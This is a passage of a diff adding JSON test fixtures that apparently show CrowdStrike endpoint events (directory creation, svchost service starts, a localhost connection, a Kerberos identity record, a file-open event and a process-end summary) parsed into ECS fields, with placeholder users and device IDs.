+                "id": "ffffffff2c9f4066b0b5f2f00265503c"
+            },
+            "event": {
+                "action": "DirectoryCreate",
+                "category": [
+                    "file"
+                ],
+                "created": "2020-11-08T17:06:20.332Z",
+                "id": "ffffffff-1111-11eb-9411-06b7c99be087|ffffffff2c9f4066b0b5f2f00265503c|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"402097454\",\"ContextProcessId\":\"66601077523\",\"ContextThreadId\":\"2500785639062\",\"ContextTimeStamp\":\"1604855165.213\",\"DesiredAccess\":\"1048577\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"128\",\"FileIdentifier\":\"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700\",\"FileObject\":\"18446641334185168032\",\"Information\":\"2\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"35668001\",\"ShareAccess\":\"3\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\CbsTemp\\\\30848497_1904507751\\\\FodWU\",\"aid\":\"ffffffff2c9f4066b0b5f2f00265503c\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"DirectoryCreate\",\"id\":\"ffffffff-1111-11eb-9411-06b7c99be087\",\"name\":\"DirectoryCreateV1\",\"timestamp\":\"1604855180332\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751",
+                "inode": "d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700",
+                "name": "FodWU",
+                "path": "\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU",
+                "type": "dir"
+            },
+            "host": {
+                "id": "ffffffff2c9f4066b0b5f2f00265503c",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "DirectoryCreate",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff2c9f4066b0b5f2f00265503c",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "66601077523",
+                "thread": {
+                    "id": 2500785639062
+                }
+            },
+            "related": {
+                "hash": [
+                    "402097454"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:06:36.635Z",
+            "crowdstrike": {
+                "AuthenticationId": "999",
+                "ConfigStateHash": "3343111420",
+                "ContextTimeStamp": "2020-11-08T17:06:36.468Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InterfaceGuid": "367ABB81-9844-35F1-AD32-98F038001003",
+                "InterfaceVersion": "131072",
+                "RpcClientProcessId": "949196415400",
+                "RpcClientThreadId": "44209361549673",
+                "RpcNestingLevel": "0",
+                "RpcOpNum": "19",
+                "TokenType": "1",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-9c98-02c501fe7d81",
+                "name": "ServiceStartedV2"
+            },
+            "device": {
+                "id": "fffffffffcc4413057adc260e99b0774"
+            },
+            "event": {
+                "action": "ServiceStarted",
+                "category": [
+                    "process"
+                ],
+                "created": "2020-11-08T17:06:36.635Z",
+                "id": "ffffffff-1111-11eb-9c98-02c501fe7d81|fffffffffcc4413057adc260e99b0774|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AuthenticationId\":\"999\",\"CommandLine\":\"C:\\\\WINDOWS\\\\system32\\\\svchost.exe -k netsvcs -p -s wlidsvc\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3343111420\",\"ContextTimeStamp\":\"1604855196.468\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\svchost.exe\",\"InterfaceGuid\":\"367ABB81-9844-35F1-AD32-98F038001003\",\"InterfaceVersion\":\"131072\",\"RpcClientProcessId\":\"949196415400\",\"RpcClientThreadId\":\"44209361549673\",\"RpcNestingLevel\":\"0\",\"RpcOpNum\":\"19\",\"ServiceDisplayName\":\"wlidsvc\",\"TargetProcessId\":\"955370934902\",\"TokenType\":\"1\",\"UserName\":\"user6\",\"aid\":\"fffffffffcc4413057adc260e99b0774\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ServiceStarted\",\"id\":\"ffffffff-1111-11eb-9c98-02c501fe7d81\",\"name\":\"ServiceStartedV2\",\"timestamp\":\"1604855196635\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "fffffffffcc4413057adc260e99b0774",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ServiceStarted",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "fffffffffcc4413057adc260e99b0774",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "args": [
+                    "C:\\WINDOWS\\system32\\svchost.exe",
+                    "-k",
+                    "netsvcs",
+                    "-p",
+                    "-s",
+                    "wlidsvc"
+                ],
+                "args_count": 6,
+                "command_line": "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc",
+                "entity_id": "955370934902",
+                "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe",
+                "name": "svchost.exe",
+                "title": "wlidsvc"
+            },
+            "related": {
+                "hash": [
+                    "3343111420"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "user": [
+                    "user6"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "user6"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:06:40.836Z",
+            "crowdstrike": {
+                "ConfigStateHash": "203564169",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "319255017313886870",
+                "ContextTimeStamp": "2020-11-08T17:06:40.751Z",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP6": [
+                    "0:0:0:0:0:0:0:0"
+                ],
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-81f1-061cdebbd115",
+                "name": "NetworkConnectIP6MacV5"
+            },
+            "destination": {
+                "address": "0:0:0:0:0:0:0:1",
+                "ip": "0:0:0:0:0:0:0:1",
+                "port": 2181
+            },
+            "device": {
+                "id": "ffffffffed0f41575620ab9fb25ce105"
+            },
+            "event": {
+                "action": "NetworkConnectIP6",
+                "category": [
+                    "network"
+                ],
+                "created": "2020-11-08T17:06:40.836Z",
+                "id": "ffffffff-1111-11eb-81f1-061cdebbd115|ffffffffed0f41575620ab9fb25ce105|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"203564169\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"319255017313886870\",\"ContextTimeStamp\":\"1604855200.751\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"LocalPort\":\"0\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"RemotePort\":\"2181\",\"aid\":\"ffffffffed0f41575620ab9fb25ce105\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkConnectIP6\",\"id\":\"ffffffff-1111-11eb-81f1-061cdebbd115\",\"name\":\"NetworkConnectIP6MacV5\",\"timestamp\":\"1604855200836\"}",
+                "outcome": "unknown",
+                "type": [
+                    "start",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "ffffffffed0f41575620ab9fb25ce105",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "NetworkConnectIP6",
+            "network": {
+                "direction": "outbound",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffed0f41575620ab9fb25ce105",
+                "version": "1007.4.0011104.1"
+            },
+            "process": {
+                "entity_id": "319255017313886870"
+            },
+            "related": {
+                "hash": [
+                    "203564169"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "0:0:0:0:0:0:0:0",
+                    "0:0:0:0:0:0:0:1"
+                ]
+            },
+            "source": {
+                "address": "0:0:0:0:0:0:0:0",
+                "ip": "0:0:0:0:0:0:0:0",
+                "port": 0
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:06:52.031Z",
+            "crowdstrike": {
+                "AuthenticationId": "1656178821",
+                "AuthenticationPackage": "Kerberos",
+                "ConfigStateHash": "3338885535",
+                "ContextProcessId": "30254389526587",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "LogonId": "1656178821",
+                "LogonServer": "srv1",
+                "LogonTime": "2020-11-08T17:06:51.249Z",
+                "LogonType": "5",
+                "PasswordLastSet": "1530626210.104",
+                "RemoteAccount": "1",
+                "SessionId": "0",
+                "UserFlags": "32",
+                "UserLogonFlags": "0",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-86e3-02db1faa1327",
+                "name": "UserIdentityV2"
+            },
+            "device": {
+                "id": "ffffffff73164cfa9656c4caff8a2a38"
+            },
+            "event": {
+                "action": "UserIdentity",
+                "category": [
+                    "authentication",
+                    "iam"
+                ],
+                "created": "2020-11-08T17:06:52.031Z",
+                "id": "ffffffff-1111-11eb-86e3-02db1faa1327|ffffffff73164cfa9656c4caff8a2a38|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AuthenticationId\":\"1656178821\",\"AuthenticationPackage\":\"Kerberos\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"30254389526587\",\"ContextThreadId\":\"275230771323179\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogonDomain\":\"dom1\",\"LogonId\":\"1656178821\",\"LogonServer\":\"srv1\",\"LogonTime\":\"1604855211.249\",\"LogonType\":\"5\",\"PasswordLastSet\":\"1530626210.104\",\"RemoteAccount\":\"1\",\"SessionId\":\"0\",\"UserCanonical\":\"\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogonFlags\":\"0\",\"UserName\":\"user7\",\"UserPrincipal\":\"user7@dom4.cm\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-183372\",\"aid\":\"ffffffff73164cfa9656c4caff8a2a38\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserIdentity\",\"id\":\"ffffffff-1111-11eb-86e3-02db1faa1327\",\"name\":\"UserIdentityV2\",\"timestamp\":\"1604855212031\"}",
+                "outcome": "success",
+                "type": [
+                    "info",
+                    "user"
+                ]
+            },
+            "host": {
+                "domain": "dom1",
+                "id": "ffffffff73164cfa9656c4caff8a2a38",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserIdentity",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff73164cfa9656c4caff8a2a38",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "30254389526587",
+                "thread": {
+                    "id": 275230771323179
+                }
+            },
+            "related": {
+                "hash": [
+                    "3338885535"
+                ],
+                "hosts": [
+                    "srv1"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "user7",
+                    "user7@dom4.cm",
+                    "S-1-5-21-606747145-1364589140-725345543-183372"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "dom4.cm",
+                "email": "user7@dom4.cm",
+                "full_name": "user7",
+                "id": "S-1-5-21-606747145-1364589140-725345543-183372",
+                "name": "user7"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:07:17.946Z",
+            "crowdstrike": {
+                "AuthenticationId": "999",
+                "ConfigStateHash": "4193986770",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "ImageSubsystem": "2",
+                "IntegrityLevel": "16384",
+                "MD5HashData": "8a0a29438052faed8a2532da50455756",
+                "ParentAuthenticationId": "999",
+                "ProcessCreateFlags": "525324",
+                "ProcessParameterFlags": "8193",
+                "ProcessSxsFlags": "64",
+                "SHA256HashData": "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6",
+                "SessionId": "0",
+                "SourceProcessId": "2881931477041",
+                "SourceThreadId": "70316664105336",
+                "Tags": [
+                    "27",
+                    "29",
+                    "53",
+                    "54",
+                    "55",
+                    "185",
+                    "10445360464024",
+                    "10445360464025",
+                    "10445360464026",
+                    "10445360464258",
+                    "10445360464273",
+                    "10445360464274",
+                    "12094627905582",
+                    "12094627906234",
+                    "211655988347297"
+                ],
+                "TokenType": "2",
+                "WindowFlags": "128",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-b4f9-06e3a7e5503b",
+                "name": "ProcessRollup2V16"
+            },
+            "device": {
+                "id": "ffffffffbe8a46386afe80c5ef64d0b5"
+            },
+            "event": {
+                "action": "ProcessRollup2",
+                "category": [
+                    "process"
+                ],
+                "created": "2020-11-08T17:07:17.946Z",
+                "id": "ffffffff-1111-11eb-b4f9-06e3a7e5503b|ffffffffbe8a46386afe80c5ef64d0b5|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AuthenticationId\":\"999\",\"CommandLine\":\"C:\\\\WINDOWS\\\\System32\\\\svchost.exe -k netsvcs -p -s NetSetupSvc\",\"ConfigBuild\":\"1007.3.0010609.1\",\"ConfigStateHash\":\"4193986770\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\svchost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"16384\",\"MD5HashData\":\"8a0a29438052faed8a2532da50455756\",\"ParentAuthenticationId\":\"999\",\"ParentProcessId\":\"2881931477041\",\"ProcessCreateFlags\":\"525324\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"8193\",\"ProcessStartTime\":\"1604842733.215\",\"ProcessSxsFlags\":\"64\",\"RawProcessId\":\"6160\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6\",\"SessionId\":\"0\",\"SourceProcessId\":\"2881931477041\",\"SourceThreadId\":\"70316664105336\",\"Tags\":\"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297\",\"TargetProcessId\":\"2882232404222\",\"TokenType\":\"2\",\"UserSid\":\"S-1-5-18\",\"WindowFlags\":\"128\",\"aid\":\"ffffffffbe8a46386afe80c5ef64d0b5\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-b4f9-06e3a7e5503b\",\"name\":\"ProcessRollup2V16\",\"timestamp\":\"1604855237946\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "ffffffffbe8a46386afe80c5ef64d0b5",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ProcessRollup2",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffbe8a46386afe80c5ef64d0b5",
+                "version": "1007.3.0010609.1"
+            },
+            "process": {
+                "Ext": {
+                    "token": {
+                        "integrity_level_name": "SYSTEM"
+                    }
+                },
+                "args": [
+                    "C:\\WINDOWS\\System32\\svchost.exe",
+                    "-k",
+                    "netsvcs",
+                    "-p",
+                    "-s",
+                    "NetSetupSvc"
+                ],
+                "args_count": 6,
+                "command_line": "C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc",
+                "entity_id": "2882232404222",
+                "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe",
+                "hash": {
+                    "md5": "8a0a29438052faed8a2532da50455756",
+                    "sha256": "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6"
+                },
+                "name": "svchost.exe",
+                "parent": {
+                    "entity_id": "2881931477041"
+                },
+                "pid": 6160,
+                "start": "2020-11-08T13:38:53.215Z"
+            },
+            "related": {
+                "hash": [
+                    "8a0a29438052faed8a2532da50455756",
+                    "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6",
+                    "4193986770"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "user": [
+                    "S-1-5-18"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-1-5-18"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:07:22.091Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1763245019",
+                "ContextProcessId": "1016182570608",
+                "ContextTimeStamp": "2020-11-08T09:58:32.519Z",
+                "DesiredAccess": "1179785",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "FileAttributes": "0",
+                "FileObject": "18446670458156489088",
+                "Information": "1",
+                "IrpFlags": "2180",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "Options": "16777312",
+                "ShareAccess": "5",
+                "Status": "0",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-9756-06fe7f8f682f",
+                "name": "RansomwareOpenFileV4"
+            },
+            "device": {
+                "id": "ffffffffac4148947ed68497e89f3308"
+            },
+            "event": {
+                "action": "RansomwareOpenFile",
+                "category": [
+                    "file"
+                ],
+                "created": "2020-11-08T17:07:22.091Z",
+                "id": "ffffffff-1111-11eb-9756-06fe7f8f682f|ffffffffac4148947ed68497e89f3308|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1763245019\",\"ContextProcessId\":\"1016182570608\",\"ContextThreadId\":\"37343520154472\",\"ContextTimeStamp\":\"1604829512.519\",\"DesiredAccess\":\"1179785\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"0\",\"FileIdentifier\":\"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00\",\"FileObject\":\"18446670458156489088\",\"Information\":\"1\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"16777312\",\"ShareAccess\":\"5\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\user11\\\\Downloads\\\\file.pptx\",\"aid\":\"ffffffffac4148947ed68497e89f3308\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"RansomwareOpenFile\",\"id\":\"ffffffff-1111-11eb-9756-06fe7f8f682f\",\"name\":\"RansomwareOpenFileV4\",\"timestamp\":\"1604855242091\"}",
+                "outcome": "success",
+                "type": [
+                    "access"
+                ]
+            },
+            "file": {
+                "directory": "\\Device\\HarddiskVolume3\\Users\\user11\\Downloads",
+                "extension": "pptx",
+                "inode": "7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00",
+                "name": "file.pptx",
+                "path": "\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffffac4148947ed68497e89f3308",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "RansomwareOpenFile",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffac4148947ed68497e89f3308",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "1016182570608",
+                "thread": {
+                    "id": 37343520154472
+                }
+            },
+            "related": {
+                "hash": [
+                    "1763245019"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:07:56.657Z",
+            "crowdstrike": {
+                "AllocateVirtualMemoryCount": 0,
+                "ArchiveFileWrittenCount": 0,
+                "AsepWrittenCount": 0,
+                "BinaryExecutableWrittenCount": 0,
+                "CLICreationCount": 0,
+                "ConHostId": "13532",
+                "ConHostProcessId": "1731198143955",
+                "ConfigStateHash": "2030177841",
+                "ContextProcessId": "1741732942772",
+                "ContextTimeStamp": "2020-11-08T17:07:54.377Z",
+                "CycleTime": 473618996,
+                "DirectoryCreatedCount": 0,
+                "DirectoryEnumeratedCount": 0,
+                "DnsRequestCount": 0,
+                "DocumentFileWrittenCount": 0,
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "ExeAndServiceCount": 0,
+                "ExecutableDeletedCount": 0,
+                "FileDeletedCount": 0,
+                "GenericFileWrittenCount": 0,
+                "ImageSubsystem": "2",
+                "InjectedDllCount": 0,
+                "InjectedThreadCount": 0,
+                "KernelTime": 1406250,
+                "MaxThreadCount": 16,
+                "ModuleLoadCount": 72,
+                "NetworkBindCount": 0,
+                "NetworkCapableAsepWriteCount": 0,
+                "NetworkCloseCount": 0,
+                "NetworkConnectCount": 0,
+                "NetworkConnectCountUdp": 0,
+                "NetworkListenCount": 0,
+                "NetworkModuleLoadCount": 0,
+                "NetworkRecvAcceptCount": 0,
+                "NewExecutableWrittenCount": 0,
+                "PrivilegedProcessHandleCount": 0,
+                "ProtectVirtualMemoryCount": 0,
+                "QueueApcCount": 0,
+                "RegKeySecurityDecreasedCount": 0,
+                "RemovableDiskFileWrittenCount": 0,
+                "RunDllInvocationCount": 0,
+                "SHA256HashData": "87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f",
+                "ScreenshotsTakenCount": 0,
+                "ScriptEngineInvocationCount": 0,
+                "ServiceEventCount": 0,
+                "SetThreadContextCount": 0,
+                "SnapshotFileOpenCount": 0,
+                "SuspectStackCount": 0,
+                "SuspiciousCredentialModuleLoadCount": 0,
+                "SuspiciousDnsRequestCount": 0,
+                "SuspiciousFontLoadCount": 0,
+                "SuspiciousRawDiskReadCount": 0,
+                "UnsignedModuleLoadCount": 0,
+                "UserMemoryAllocateExecutableCount": 0,
+                "UserMemoryAllocateExecutableRemoteCount": 0,
+                "UserMemoryProtectExecutableCount": 0,
+                "UserMemoryProtectExecutableRemoteCount": 0,
+                "UserTime": 781250,
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-b685-0241eaddc553",
+                "name": "EndOfProcessV14"
+            },
+            "device": {
+                "id": "fffffffffdab492a5a20cd0417395a73"
+            },
+            "event": {
+                "action": "EndOfProcess",
+                "category": [
+                    "process"
+                ],
+                "created": "2020-11-08T17:07:56.657Z",
+                "id": "ffffffff-1111-11eb-b685-0241eaddc553|fffffffffdab492a5a20cd0417395a73|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AllocateVirtualMemoryCount\":\"0\",\"ArchiveFileWrittenCount\":\"0\",\"AsepWrittenCount\":\"0\",\"BinaryExecutableWrittenCount\":\"0\",\"CLICreationCount\":\"0\",\"ConHostId\":\"13532\",\"ConHostProcessId\":\"1731198143955\",\"ConfigBuild\":\"1007.3.0010609.1\",\"ConfigStateHash\":\"2030177841\",\"ContextData\":\"\",\"ContextProcessId\":\"1741732942772\",\"ContextThreadId\":\"28523520529271\",\"ContextTimeStamp\":\"1604855274.377\",\"CycleTime\":\"473618996\",\"DirectoryCreatedCount\":\"0\",\"DirectoryEnumeratedCount\":\"0\",\"DnsRequestCount\":\"0\",\"DocumentFileWrittenCount\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ExeAndServiceCount\":\"0\",\"ExecutableDeletedCount\":\"0\",\"ExitCode\":\"0\",\"FileDeletedCount\":\"0\",\"GenericFileWrittenCount\":\"0\",\"ImageSubsystem\":\"2\",\"InjectedDllCount\":\"0\",\"InjectedThreadCount\":\"0\",\"KernelTime\":\"1406250\",\"MaxThreadCount\":\"16\",\"ModuleLoadCount\":\"72\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkConnectCountUdp\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkModuleLoadCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"ParentProcessId\":\"1731198143955\",\"PrivilegedProcessHandleCount\":\"0\",\"ProcessStartTime\":\"1604855154.465\",\"ProtectVirtualMemoryCount\":\"0\",\"QueueApcCount\":\"0\",\"RawProcessId\":\"18176\",\"RegKeySecurityDecreasedCount\":\"0\",\"RemovableDiskFileWrittenCount\":\"0\",\"RunDllInvocationCount\":\"0\",\"SHA256HashData\":\"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f\",\"ScreenshotsTakenCount\":\"0\",\"ScriptEngineInvocationCount\":\"0\",\"ServiceEventCount\":\"0\",\"SetThreadContextCount\":\"0\",\"SnapshotFileOpenCount\":\"0\",\"SuspectStackCount\":\"0\",\"SuspiciousCredentialModuleLoadCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"SuspiciousFontLoadCount\":\"0\",\"SuspiciousRawDiskReadCount\":\"0\",\"TargetProcessId\":\"1741732942772\",\"UnsignedModuleLoadCount\":\"0\",\"UserMemoryAllocateExecutableCount\":\"0\",\"UserMemoryAllocateExecutableRemoteCount\":\"0\",\"UserMemoryProtectExecutableCount\":\"0\",\"UserMemoryProtectExecutableRemoteCount\":\"0\",\"UserSid\":\"S-1-12-1-1647509123-1308660782-3901357462-3999411581\",\"UserTime\":\"781250\",\"aid\":\"fffffffffdab492a5a20cd0417395a73\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-b685-0241eaddc553\",\"name\":\"EndOfProcessV14\",\"timestamp\":\"1604855276657\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "id": "fffffffffdab492a5a20cd0417395a73",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "EndOfProcess",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "fffffffffdab492a5a20cd0417395a73",
+                "version": "1007.3.0010609.1"
+            },
+            "process": {
+                "entity_id": "1741732942772",
+                "exit_code": 0,
+                "hash": {
+                    "sha256": "87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f"
+                },
+                "parent": {
+                    "entity_id": "1731198143955"
+                },
+                "pid": 18176,
+                "start": "2020-11-08T17:05:54.465Z",
+                "thread": {
+                    "id": 28523520529271
+                }
+            },
+            "related": {
+                "hash": [
+                    "87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f",
+                    "2030177841"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "S-1-12-1-1647509123-1308660782-3901357462-3999411581"
+                ]
+            },
+            "tags": [
